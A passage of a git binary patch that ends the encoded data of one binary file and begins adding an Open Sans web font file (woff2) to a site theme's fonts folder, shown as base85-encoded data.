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
RRq@Zl18$4nbA$lE{{b1eG28$E

literal 0
HcmV?d00001

diff --git a/theme/fonts/open-sans-v17-all-charsets-800.woff2 b/theme/fonts/open-sans-v17-all-charsets-800.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..c94a223b03321d4a6701f0f8f7bc16bc75081aab
GIT binary patch
literal 44536
zcmV)5K*_&%Pew8T0RR910Im1{5dZ)H0fH0&0Iie&0RR9100000000000000000000
z0000QE*lUWfmQ}!0EY+&fi?+`U=a`sg!=%5s0Ry<4gdi*0we>R3IrepgGvXwH4K6=
zTU=0)0OD@DlRs44HejF(>@WYju0pwe6i_=U<r35Sjhr2*VdH>j*c#RB|NsC0{A3Zw
znqAD?E+_KJQ+?$@nG%7>o)~H(iGmPHg@PjsA~T$e#F9mqP$5Go6K8Xsyya)T4d!lT
zX{(_llUu5WOq%E$@tT-v*57%YvtHRdG;|1h#3)CQGUtm)OXsp5p4<oR)4bHZg7D}s
zU^i4ojDjGE9_`->IW)yl9}rZHoYh;=+XD-$r9;E!Z)Y-WG4nx(hM?#OY(S7U3DGY1
zQb_YL(wiIZrRi56yUPe;9AN^9zL>HM=mVKNFfnp+2Ar6gmN-!yl7BKM*4P3S=gzk&
zW;2Os_;jAQug=Tdn$h2Vw)hS2dp<B@9<aAwTljbDqkimw?BMGM^kU-;eS^s#T>5PD
zo$kja-3>?Q{<|CD$`!k^3XEM3Q8j9v7rs87)UWCp*~?@v9RNYJL43d*F{MD@C-wj7
zwEmxwWSJFmoH#JHBgGEmShBzY18o#srUTXyHq8~y0#`>B75x>>zN-iZz-@&a$3{1x
zOa)njxM7QcGGq!46mS9#+&MO>X{Kpo>8`HKmUoS*)pcF#s_$C+y4k$z>&8(|tL`ev
zwz{jVC_dybKc2_mlVzHjkSX!tQY_a;%KqfcBBNl5pZCAE>fb9}0ab}gDsG(anVnf+
zzxT;&>RIgFXX2APbmk!BEOd}MNjw1S>{JZnSUEY2z04DN^2E85eKJp;b57=%%rmBP
zn3`ItSb5R26LRYLnSHwy;ja)`^h-YbWqn_WQWx7<1W`&UAs^%r@*#^1iU@jH$U-kf
z=-XL?IP0@5vQdQS%0d=OolUkg_8|A}w?jM>5~R%Q#7u4C`$Wj(-4}6ovr<h#IVHZU
zAEP<UmDD>2K0yU41;7#b$akg6&b<w(D;DqExpmX!&LUI?dDS;g5#S?u=%<;WxeYhr
z9~ld3Hbrq-4DnC~XAsGqLM+Fjs<Tpr(60r6&u=-cHjWS68Y>xn-BwHv&RO<^JLAtk
z6cAEQyCtOzSZMP<a85edg)e%-7FlI}@hG3?a^?rr^FR_#Lyq&KG1tGfu^j>k&LO0G
zPZ&K4F4hj*=SuoX)%+eXzyNt7W(LRvL5dV5QX*FVrW5i1zvIT^?*0^u`s&iTy|7*<
z>2hhi=nlUA*XMe=Z&mfM7Ga}MjuVX$D1+8ti8D!f>&w))rdR?V7`of9bxLm7kDhl2
z{DreKe+x{Kwm>@@whRcIn^NUYbB2UVUj5=)Ch1|}@2#FN=w<;W2BwmB``?_F<jj&}
z4>Ae@h2*(|9Q&V63&;fkSqdzK3jx`YANYhl`$3iyb#2-<o9arl<Ra6jA(Xb!r(d~U
zB);H(hfvzQze&E?TcObay8W}`$syOdk@J*vceCG;D`SKBf*|-Y@PDS7?F@ETTIfid
z)TKmTBpp&wQO;#K`)4-H><+LA6tD}X1*u1X7Z4O7-5CJod!R0X7gFVztB^!qrXzLE
zxpmXI=v<Vwo7P2J`0q=#yf#9Md6%5X-OTj`n>FinRd5LTp02Lye*gb|L<5aQ5IGd6
zK!K8mqBfAAC?>7k|2LolFkBZ!$w6KRIcLr|iNFL3)Yu?MSr~E03`%K34BX9h6y*?4
zbM(<C-;O>Ub3XcTy62P&G|-5ZYFWxf12V)>c1x7CNp{LMgtCjm)nHgSk?8Z3qog-J
zH8%Rqa38HQrHVhvo+tK`^}l=Zk}M5F>EhQS4u-f=3{`^arafGXPa&k%Nr%lOnTC~x
zp>)4r<KKZ<(9$9z+RzY2?zx}ue>wKk`iDVHwr1a6;<gme5E<wK64uR?{;5}vG0mFS
